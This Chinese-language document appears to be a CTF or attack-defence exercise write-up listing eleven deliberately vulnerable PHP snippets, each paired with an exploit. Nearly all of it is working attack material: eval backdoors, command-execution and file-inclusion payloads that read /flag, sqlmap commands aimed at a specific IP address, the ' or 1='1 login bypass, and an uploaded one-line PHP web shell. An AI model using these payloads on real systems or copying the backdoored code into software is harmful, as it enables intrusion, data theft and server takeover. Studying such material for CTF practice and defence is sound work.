1.文件包含漏洞
源码
<?php $file=$_GET['file']; include $file; ?>
漏洞利用
/about.php?file=../flag
2.代码执行漏洞
源码
@eval($_REQUEST['c']);
漏洞利用
/config.php?c=system('cat ../flag');
3.任意文件读取漏洞
源码
<?php include 'header.php'; $file_path = $_GET['path']; if(file_exists($file_path)){ $fp = fopen($file_path,"r"); $str = fread($fp,filesize($file_path)); echo $str = str_replace("\r\n","<br />",$str); } ?>
漏洞利用
/contact.php?path=../flag
4.代码执行漏洞
源码
<?php $shell=$_POST['shell']; system($shell); if($shell !=""){ exit(); } ?>
漏洞利用
ls / # app bin boot data dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var web cat /flag
5.代码执行漏洞
源码
<?php include 'header.php'; @eval($_REQUEST['aa']); ?>
漏洞利用
/index.php?aa=system('cat ../flag');
6.SQL注入漏洞
源码
<?php include 'header.php'; include_once('config.php'); if (!empty($_GET['id'])) { $id=$_GET['id']; $query = "SELECT * FROM news WHERE id=$id"; $data = mysqli_query($dbc,$query); } $com = mysqli_fetch_array($data); ?>
漏洞利用
#sqlmap检测 python sqlmap.py -u http://47.74.13.136:8802/search.php?id=1 #列出所有数据库 python sqlmap.py -u http://47.74.13.136:8802/search.php?id=1 --dbs #列出指定数据库的表 python sqlmap.py -u http://47.74.13.136:8802/search.php?id=1 -D cyber --tables
7.代码执行漏洞
源码
<?php $shell=$_POST['shell']; system($shell); if($shell !=""){ exit(); } ?>
漏洞利用
ls / # app bin boot data dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var web cat /flag
8.万能钥匙
源码
<?php include_once('config.php'); if (!empty($_POST['username'])) { $user=$_POST['username']; $pass=$_POST['password']; $query = "SELECT * FROM admin WHERE user_name='{$user}' and user_pass='{$pass}' "; $data = mysqli_query($dbc,$query); if (mysqli_num_rows($data) == 1) { $row = mysqli_fetch_array($data); $_SESSION['username'] = $row['user_name']; header('Location: ./admin/index.php'); }else{ echo '<hr/><center><br/>用户名:',$user,'<br/>密码:',$pass,'<br/><br/>用户名密码错误</center>'; } } ?>
漏洞利用
' or 1='1
9.信息泄露
源码
<h3>flag:<?php system("cat /flag")?></h3>
10.任意命令执行
源码
<?php $p=$_GET['p']; echo $p; $q=exec($p); var_dump($q); ?>
漏洞利用
/admin/header.php?p=cat /flag
11.文件上传漏洞
源码
$error=$_FILES['pic']['error']; $tmpName=$_FILES['pic']['tmp_name']; $name=$_FILES['pic']['name']; $size=$_FILES['pic']['size']; $type=$_FILES['pic']['type']; try{ if($name!=="") { $name1=substr($name,-4); if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='./upload/'.$time.$name1; $file=fopen($tmpName, "r") or die('No such file!'); $content=fread($file, filesize($tmpName)); if(strstr($content,'fuck')){ exit("<script language='JavaScript'>alert('You should not do this!');window.location='index.php?page=submit'</script>"); } if(!move_uploaded_file($tmpName,$rootpath)){ echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>"; exit; } } echo "上传成功:/upload/".$time.$name1; } } catch(Exception $e) { echo "ERROR"; }
漏洞利用
#传入一句话木马1.php <?php @eval($_REQUEST['c']);?> /admin/upload/1718338939.php?c=system('cat /flag');